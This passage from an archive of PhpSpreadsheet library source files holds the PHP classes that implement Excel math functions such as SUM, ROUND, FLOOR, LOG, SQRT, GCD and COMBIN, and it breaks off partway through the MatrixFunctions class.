self::filterHiddenArgs($cellReference, $aArgs); $subtotal -= 100; } $aArgs = self::filterFormulaArgs($cellReference, $aArgs); if (array_key_exists($subtotal, self::CALL_FUNCTIONS)) { $call = self::CALL_FUNCTIONS[$subtotal]; return call_user_func_array($call, $aArgs); } return ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Sum.php000064400000006357151676714400022514 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Sum { /** * SUM, ignoring non-numeric non-error strings. This is eventually used by SUMIF. * * SUM computes the sum of all the values and cells referenced in the argument list. * * Excel Function: * SUM(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function sumIgnoringStrings(mixed ...$args): float|int|string { $returnValue = 0; // Loop through the arguments foreach (Functions::flattenArray($args) as $arg) { // Is it a numeric value? if (is_numeric($arg)) { $returnValue += $arg; } elseif (ErrorValue::isError($arg)) { return $arg; } } return $returnValue; } /** * SUM, returning error for non-numeric strings. This is used by Excel SUM function. * * SUM computes the sum of all the values and cells referenced in the argument list. * * Excel Function: * SUM(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function sumErroringStrings(mixed ...$args): float|int|string|array { $returnValue = 0; // Loop through the arguments $aArgs = Functions::flattenArrayIndexed($args); foreach ($aArgs as $k => $arg) { // Is it a numeric value? if (is_numeric($arg)) { $returnValue += $arg; } elseif (is_bool($arg)) { $returnValue += (int) $arg; } elseif (ErrorValue::isError($arg)) { return $arg; } elseif ($arg !== null && !Functions::isCellValue($k)) { // ignore non-numerics from cell, but fail as literals (except null) return ExcelError::VALUE(); } } return $returnValue; } /** * SUMPRODUCT. * * Excel Function: * SUMPRODUCT(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|int|string The result, or a string containing an error */ public static function product(mixed ...$args): string|int|float { $arrayList = $args; $wrkArray = Functions::flattenArray(array_shift($arrayList)); $wrkCellCount = count($wrkArray); for ($i = 0; $i < $wrkCellCount; ++$i) { if ((!is_numeric($wrkArray[$i])) || (is_string($wrkArray[$i]))) { $wrkArray[$i] = 0; } } foreach ($arrayList as $matrixData) { $array2 = Functions::flattenArray($matrixData); $count = count($array2); if ($wrkCellCount != $count) { return ExcelError::VALUE(); } foreach ($array2 as $i => $val) { if ((!is_numeric($val)) || (is_string($val))) { $val = 0; } $wrkArray[$i] *= $val; } } return array_sum($wrkArray); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/SumSquares.php000064400000007555151676714400024061 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class SumSquares { /** * SUMSQ. * * SUMSQ returns the sum of the squares of the arguments * * Excel Function: * SUMSQ(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function sumSquare(mixed ...$args): string|int|float { try { $returnValue = 0; // Loop through arguments foreach (Functions::flattenArray($args) as $arg) { $arg1 = Helpers::validateNumericNullSubstitution($arg, 0); $returnValue += ($arg1 * $arg1); } } catch (Exception $e) { return $e->getMessage(); } return $returnValue; } private static function getCount(array $array1, array $array2): int { $count = count($array1); if ($count !== count($array2)) { throw new Exception(ExcelError::NA()); } return $count; } /** * These functions accept only numeric arguments, not even strings which are numeric. */ private static function numericNotString(mixed $item): bool { return is_numeric($item) && !is_string($item); } /** * SUMX2MY2. * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 */ public static function sumXSquaredMinusYSquared(array $matrixData1, array $matrixData2): string|int|float { try { $array1 = Functions::flattenArray($matrixData1); $array2 = Functions::flattenArray($matrixData2); $count = self::getCount($array1, $array2); $result = 0; for ($i = 0; $i < $count; ++$i) { if (self::numericNotString($array1[$i]) && self::numericNotString($array2[$i])) { $result += ($array1[$i] * $array1[$i]) - ($array2[$i] * $array2[$i]); } } } catch (Exception $e) { return $e->getMessage(); } return $result; } /** * SUMX2PY2. * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 */ public static function sumXSquaredPlusYSquared(array $matrixData1, array $matrixData2): string|int|float { try { $array1 = Functions::flattenArray($matrixData1); $array2 = Functions::flattenArray($matrixData2); $count = self::getCount($array1, $array2); $result = 0; for ($i = 0; $i < $count; ++$i) { if (self::numericNotString($array1[$i]) && self::numericNotString($array2[$i])) { $result += ($array1[$i] * $array1[$i]) + ($array2[$i] * $array2[$i]); } } } catch (Exception $e) { return $e->getMessage(); } return $result; } /** * SUMXMY2. * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 */ public static function sumXMinusYSquared(array $matrixData1, array $matrixData2): string|int|float { try { $array1 = Functions::flattenArray($matrixData1); $array2 = Functions::flattenArray($matrixData2); $count = self::getCount($array1, $array2); $result = 0; for ($i = 0; $i < $count; ++$i) { if (self::numericNotString($array1[$i]) && self::numericNotString($array2[$i])) { $result += ($array1[$i] - $array2[$i]) * ($array1[$i] - $array2[$i]); } } } catch (Exception $e) { return $e->getMessage(); } return $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Exp.php000064400000001775151676714400022503 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Exp { use ArrayEnabled; /** * EXP. * * Returns the result of builtin function exp after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string Rounded number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return exp($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Round.php000064400000017216151676714400023033 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Round { use ArrayEnabled; private const ROUNDING_ADJUSTMENT = (PHP_VERSION_ID < 80400) ? 0 : 1e-14; /** * ROUND. * * Returns the result of builtin function round after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * @param mixed $precision Should be int, or can be an array of numbers * * @return array|float|string Rounded number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function round(mixed $number, mixed $precision): array|string|float { if (is_array($number) || is_array($precision)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $precision); } try { $number = Helpers::validateNumericNullBool($number); $precision = Helpers::validateNumericNullBool($precision); } catch (Exception $e) { return $e->getMessage(); } return round($number, (int) $precision); } /** * ROUNDUP. * * Rounds a number up to a specified number of decimal places * * @param array|float $number Number to round, or can be an array of numbers * @param array|int $digits Number of digits to which you want to round $number, or can be an array of numbers * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function up($number, $digits): array|string|float { if (is_array($number) || is_array($digits)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $digits); } try { $number = Helpers::validateNumericNullBool($number); $digits = (int) Helpers::validateNumericNullSubstitution($digits, null); } catch (Exception $e) { return $e->getMessage(); } if ($number == 0.0) { return 0.0; } if ($number < 0.0) { return round($number - 0.5 * 0.1 ** $digits + self::ROUNDING_ADJUSTMENT, $digits, PHP_ROUND_HALF_DOWN); } return round($number + 0.5 * 0.1 ** $digits - self::ROUNDING_ADJUSTMENT, $digits, PHP_ROUND_HALF_DOWN); } /** * ROUNDDOWN. * * Rounds a number down to a specified number of decimal places * * @param array|float $number Number to round, or can be an array of numbers * @param array|int $digits Number of digits to which you want to round $number, or can be an array of numbers * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function down($number, $digits): array|string|float { if (is_array($number) || is_array($digits)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $digits); } try { $number = Helpers::validateNumericNullBool($number); $digits = (int) Helpers::validateNumericNullSubstitution($digits, null); } catch (Exception $e) { return $e->getMessage(); } if ($number == 0.0) { return 0.0; } if ($number < 0.0) { return round($number + 0.5 * 0.1 ** $digits - self::ROUNDING_ADJUSTMENT, $digits, PHP_ROUND_HALF_UP); } return round($number - 0.5 * 0.1 ** $digits + self::ROUNDING_ADJUSTMENT, $digits, PHP_ROUND_HALF_UP); } /** * MROUND. * * Rounds a number to the nearest multiple of a specified value * * @param mixed $number Expect float. Number to round, or can be an array of numbers * @param mixed $multiple Expect int. Multiple to which you want to round, or can be an array of numbers. * * @return array|float|int|string Rounded Number, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function multiple(mixed $number, mixed $multiple): array|string|int|float { if (is_array($number) || is_array($multiple)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $multiple); } try { $number = Helpers::validateNumericNullSubstitution($number, 0); $multiple = Helpers::validateNumericNullSubstitution($multiple, null); } catch (Exception $e) { return $e->getMessage(); } if ($number == 0 || $multiple == 0) { return 0; } if ((Helpers::returnSign($number)) == (Helpers::returnSign($multiple))) { $multiplier = 1 / $multiple; return round($number * $multiplier) / $multiplier; } return ExcelError::NAN(); } /** * EVEN. * * Returns number rounded up to the nearest even integer. * You can use this function for processing items that come in twos. For example, * a packing crate accepts rows of one or two items. The crate is full when * the number of items, rounded up to the nearest two, matches the crate's * capacity. * * Excel Function: * EVEN(number) * * @param array|float $number Number to round, or can be an array of numbers * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function even($number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::getEven($number); } /** * ODD. * * Returns number rounded up to the nearest odd integer. * * @param array|float $number Number to round, or can be an array of numbers * * @return array|float|int|string Rounded Number, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function odd($number): array|string|int|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } $significance = Helpers::returnSign($number); if ($significance == 0) { return 1; } $result = ceil($number / $significance) * $significance; if ($result == Helpers::getEven($result)) { $result += $significance; } return $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Sign.php000064400000002167151676714400022643 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Sign { use ArrayEnabled; /** * SIGN. * * Determines the sign of a number. Returns 1 if the number is positive, zero (0) * if the number is 0, and -1 if the number is negative. * * @param array|float $number Number to round, or can be an array of numbers * * @return array|int|string sign value, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate($number): array|string|int { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::returnSign($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Helpers.php000064400000005606151676714400023346 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Helpers { /** * Many functions accept null/false/true argument treated as 0/0/1. * * @return float|string quotient or DIV0 if denominator is too small */ public static function verySmallDenominator(float $numerator, float $denominator): string|float { return (abs($denominator) < 1.0E-12) ? ExcelError::DIV0() : ($numerator / $denominator); } /** * Many functions accept null/false/true argument treated as 0/0/1. */ public static function validateNumericNullBool(mixed $number): int|float { $number = Functions::flattenSingleValue($number); if ($number === null) { return 0; } if (is_bool($number)) { return (int) $number; } if (is_numeric($number)) { return 0 + $number; } throw new Exception(ExcelError::throwError($number)); } /** * Validate numeric, but allow substitute for null. */ public static function validateNumericNullSubstitution(mixed $number, null|float|int $substitute): float|int { $number = Functions::flattenSingleValue($number); if ($number === null && $substitute !== null) { return $substitute; } if (is_numeric($number)) { return 0 + $number; } throw new Exception(ExcelError::throwError($number)); } /** * Confirm number >= 0. */ public static function validateNotNegative(float|int $number, ?string $except = null): void { if ($number >= 0) { return; } throw new Exception($except ?? ExcelError::NAN()); } /** * Confirm number > 0. */ public static function validatePositive(float|int $number, ?string $except = null): void { if ($number > 0) { return; } throw new Exception($except ?? ExcelError::NAN()); } /** * Confirm number != 0. */ public static function validateNotZero(float|int $number): void { if ($number) { return; } throw new Exception(ExcelError::DIV0()); } public static function returnSign(float $number): int { return $number ? (($number > 0) ? 1 : -1) : 0; } public static function getEven(float $number): float { $significance = 2 * self::returnSign($number); return $significance ? (ceil($number / $significance) * $significance) : 0; } /** * Return NAN or value depending on argument. */ public static function numberOrNan(float $result): float|string { return is_nan($result) ? ExcelError::NAN() : $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trunc.php000064400000002773151676714400023041 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Trunc { use ArrayEnabled; /** * TRUNC. * * Truncates value to the number of fractional digits by number_digits. * * @param array|float $value Or can be an array of values * @param array|int $digits Or can be an array of values * * @return array|float|string Truncated value, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(array|float|string|null $value = 0, array|int|string $digits = 0): array|float|string { if (is_array($value) || is_array($digits)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $digits); } try { $value = Helpers::validateNumericNullBool($value); $digits = Helpers::validateNumericNullSubstitution($digits, null); } catch (Exception $e) { return $e->getMessage(); } $digits = floor($digits); // Truncate $adjust = 10 ** $digits; if (($digits > 0) && (rtrim((string) (int) ((abs($value) - abs((int) $value)) * $adjust), '0') < $adjust / 10)) { return $value; } return ((int) ($value * $adjust)) / $adjust; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Angle.php000064400000003505151676714400022766 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Angle { use ArrayEnabled; /** * DEGREES. * * Returns the result of builtin function rad2deg after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string Rounded number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function toDegrees(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return rad2deg($number); } /** * RADIANS. * * Returns the result of builtin function deg2rad after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string Rounded number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function toRadians(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return deg2rad($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Floor.php000064400000015052151676714400023021 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Floor { use ArrayEnabled; private static function floorCheck1Arg(): void { $compatibility = Functions::getCompatibilityMode(); if ($compatibility === Functions::COMPATIBILITY_EXCEL) { throw new Exception('Excel requires 2 arguments for FLOOR'); } } /** * FLOOR. * * Rounds number down, toward zero, to the nearest multiple of significance. * * Excel Function: * FLOOR(number[,significance]) * * @param mixed $number Expect float. Number to round * Or can be an array of values * @param mixed $significance Expect float. Significance * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function floor(mixed $number, mixed $significance = null) { if (is_array($number) || is_array($significance)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance); } if ($significance === null) { self::floorCheck1Arg(); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, ($number < 0) ? -1 : 1); } catch (Exception $e) { return $e->getMessage(); } return self::argumentsOk((float) $number, (float) $significance); } /** * FLOOR.MATH. * * Round a number down to the nearest integer or to the nearest multiple of significance. * * Excel Function: * FLOOR.MATH(number[,significance[,mode]]) * * @param mixed $number Number to round * Or can be an array of values * @param mixed $significance Significance * Or can be an array of values * @param mixed $mode direction to round negative numbers * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function math(mixed $number, mixed $significance = null, mixed $mode = 0) { if (is_array($number) || is_array($significance) || is_array($mode)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance, $mode); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, ($number < 0) ? -1 : 1); $mode = Helpers::validateNumericNullSubstitution($mode, null); } catch (Exception $e) { return $e->getMessage(); } return self::argsOk((float) $number, (float) $significance, (int) $mode); } /** * FLOOR.PRECISE. * * Rounds number down, toward zero, to the nearest multiple of significance. * * Excel Function: * FLOOR.PRECISE(number[,significance]) * * @param array|float $number Number to round * Or can be an array of values * @param array|float $significance Significance * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function precise($number, $significance = 1) { if (is_array($number) || is_array($significance)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, null); } catch (Exception $e) { return $e->getMessage(); } return self::argumentsOkPrecise((float) $number, (float) $significance); } /** * Avoid Scrutinizer problems concerning complexity. */ private static function argumentsOkPrecise(float $number, float $significance): string|float { if ($significance == 0.0) { return ExcelError::DIV0(); } if ($number == 0.0) { return 0.0; } return floor($number / abs($significance)) * abs($significance); } /** * Avoid Scrutinizer complexity problems. * * @return float|string Rounded Number, or a string containing an error */ private static function argsOk(float $number, float $significance, int $mode): string|float { if (!$significance) { return ExcelError::DIV0(); } if (!$number) { return 0.0; } if (self::floorMathTest($number, $significance, $mode)) { return ceil($number / $significance) * $significance; } return floor($number / $significance) * $significance; } /** * Let FLOORMATH complexity pass Scrutinizer. */ private static function floorMathTest(float $number, float $significance, int $mode): bool { return Helpers::returnSign($significance) == -1 || (Helpers::returnSign($number) == -1 && !empty($mode)); } /** * Avoid Scrutinizer problems concerning complexity. */ private static function argumentsOk(float $number, float $significance): string|float { if ($significance == 0.0) { return ExcelError::DIV0(); } if ($number == 0.0) { return 0.0; } if (Helpers::returnSign($significance) == 1) { return floor($number / $significance) * $significance; } if (Helpers::returnSign($number) == -1 && Helpers::returnSign($significance) == -1) { return floor($number / $significance) * $significance; } return ExcelError::NAN(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Combinations.php000064400000007602151676714400024367 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Combinations { use ArrayEnabled; /** * COMBIN. * * Returns the number of combinations for a given number of items. Use COMBIN to * determine the total possible number of groups for a given number of items. * * Excel Function: * COMBIN(numObjs,numInSet) * * @param mixed $numObjs Number of different objects, or can be an array of numbers * @param mixed $numInSet Number of objects in each combination, or can be an array of numbers * * @return array|float|string Number of combinations, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function withoutRepetition(mixed $numObjs, mixed $numInSet): array|string|float { if (is_array($numObjs) || is_array($numInSet)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs, $numInSet); } try { $numObjs = Helpers::validateNumericNullSubstitution($numObjs, null); $numInSet = Helpers::validateNumericNullSubstitution($numInSet, null); Helpers::validateNotNegative($numInSet); Helpers::validateNotNegative($numObjs - $numInSet); } catch (Exception $e) { return $e->getMessage(); } /** @var float */ $quotient = Factorial::fact($numObjs); /** @var float */ $divisor1 = Factorial::fact($numObjs - $numInSet); /** @var float */ $divisor2 = Factorial::fact($numInSet); return round($quotient / ($divisor1 * $divisor2)); } /** * COMBINA. * * Returns the number of combinations for a given number of items. Use COMBIN to * determine the total possible number of groups for a given number of items. * * Excel Function: * COMBINA(numObjs,numInSet) * * @param mixed $numObjs Number of different objects, or can be an array of numbers * @param mixed $numInSet Number of objects in each combination, or can be an array of numbers * * @return array|float|int|string Number of combinations, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function withRepetition(mixed $numObjs, mixed $numInSet): array|int|string|float { if (is_array($numObjs) || is_array($numInSet)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs, $numInSet); } try { $numObjs = Helpers::validateNumericNullSubstitution($numObjs, null); $numInSet = Helpers::validateNumericNullSubstitution($numInSet, null); Helpers::validateNotNegative($numInSet); Helpers::validateNotNegative($numObjs); $numObjs = (int) $numObjs; $numInSet = (int) $numInSet; // Microsoft documentation says following is true, but Excel // does not enforce this restriction. //Helpers::validateNotNegative($numObjs - $numInSet); if ($numObjs === 0) { Helpers::validateNotNegative(-$numInSet); return 1; } } catch (Exception $e) { return $e->getMessage(); } /** @var float */ $quotient = Factorial::fact($numObjs + $numInSet - 1); /** @var float */ $divisor1 = Factorial::fact($numObjs - 1); /** @var float */ $divisor2 = Factorial::fact($numInSet); return round($quotient / ($divisor1 * $divisor2)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Logarithms.php000064400000006400151676714400024046 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Logarithms { use ArrayEnabled; /** * LOG_BASE. * * Returns the logarithm of a number to a specified base. The default base is 10. * * Excel Function: * LOG(number[,base]) * * @param mixed $number The positive real number for which you want the logarithm * Or can be an array of values * @param mixed $base The base of the logarithm. If base is omitted, it is assumed to be 10. * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function withBase(mixed $number, mixed $base = 10): array|string|float { if (is_array($number) || is_array($base)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $base); } try { $number = Helpers::validateNumericNullBool($number); Helpers::validatePositive($number); $base = Helpers::validateNumericNullBool($base); Helpers::validatePositive($base); } catch (Exception $e) { return $e->getMessage(); } return log($number, $base); } /** * LOG10. * * Returns the result of builtin function log after validating args. * * @param mixed $number Should be numeric * Or can be an array of values * * @return array|float|string Rounded number * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function base10(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); Helpers::validatePositive($number); } catch (Exception $e) { return $e->getMessage(); } return log10($number); } /** * LN. * * Returns the result of builtin function log after validating args. * * @param mixed $number Should be numeric * Or can be an array of values * * @return array|float|string Rounded number * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function natural(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); Helpers::validatePositive($number); } catch (Exception $e) { return $e->getMessage(); } return log($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Sqrt.php000064400000003565151676714400022677 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Sqrt { use ArrayEnabled; /** * SQRT. * * Returns the result of builtin function sqrt after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string square root * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function sqrt(mixed $number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(sqrt($number)); } /** * SQRTPI. * * Returns the square root of (number * pi). * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string Square Root of Number * Pi, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function pi($number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullSubstitution($number, 0); Helpers::validateNotNegative($number); } catch (Exception $e) { return $e->getMessage(); } return sqrt($number * M_PI); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Gcd.php000064400000003664151676714400022443 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Gcd { /** * Recursively determine GCD. * * Returns the greatest common divisor of a series of numbers. * The greatest common divisor is the largest integer that divides both * number1 and number2 without a remainder. * * Excel Function: * GCD(number1[,number2[, ...]]) */ private static function evaluateGCD(float|int $a, float|int $b): float|int { return $b ? self::evaluateGCD($b, $a % $b) : $a; } /** * GCD. * * Returns the greatest common divisor of a series of numbers. * The greatest common divisor is the largest integer that divides both * number1 and number2 without a remainder. * * Excel Function: * GCD(number1[,number2[, ...]]) * * @param mixed ...$args Data values * * @return float|int|string Greatest Common Divisor, or a string containing an error */ public static function evaluate(mixed ...$args) { try { $arrayArgs = []; foreach (Functions::flattenArray($args) as $value1) { if ($value1 !== null) { $value = Helpers::validateNumericNullSubstitution($value1, 1); Helpers::validateNotNegative($value); $arrayArgs[] = (int) $value; } } } catch (Exception $e) { return $e->getMessage(); } if (count($arrayArgs) <= 0) { return ExcelError::VALUE(); } $gcd = (int) array_pop($arrayArgs); do { $gcd = self::evaluateGCD($gcd, (int) array_pop($arrayArgs)); } while (!empty($arrayArgs)); return $gcd; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/IntClass.php000064400000002122151676714400023452 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class IntClass { use ArrayEnabled; /** * INT. * * Casts a floating point value to an integer * * Excel Function: * INT(number) * * @param array|float $number Number to cast to an integer, or can be an array of numbers * * @return array|int|string Integer value, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate($number): array|string|int { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return (int) floor($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/MatrixFunctions.php000064400000012421151676714400025072 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use Matrix\Builder; use Matrix\Div0Exception as MatrixDiv0Exception; use Matrix\Exception as MatrixException; use Matrix\Matrix; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class MatrixFunctions { /** * Convert parameter to Matrix. * * @param mixed $matrixValues A matrix of values */ private static function getMatrix(mixed $matrixValues): Matrix { $matrixData = []; if (!is_array($matrixValues)) { $matrixValues = [[$matrixValues]]; } $row = 0; foreach ($matrixValues as $matrixRow) { if (!is_array($matrixRow)) { $matrixRow = [$matrixRow]; } $column = 0; foreach ($matrixRow as $matrixCell) { if ((is_string($matrixCell)) || ($matrixCell === null)) { throw new Exception(ExcelError::VALUE()); } $matrixData[$row][$column] = $matrixCell; ++$column; } ++$row; } return new Matrix($matrixData); } /** * SEQUENCE. * * Generates a list of sequential numbers in an array. * * Excel Function: * SEQUENCE(rows,[columns],[start],[step]) * * @param mixed $rows the number of rows to return, defaults to 1 * @param mixed $columns the number of columns to return, defaults to 1 * @param mixed $start the first number in the sequence, defaults to 1 * @param mixed $step the amount to increment each subsequent value in the 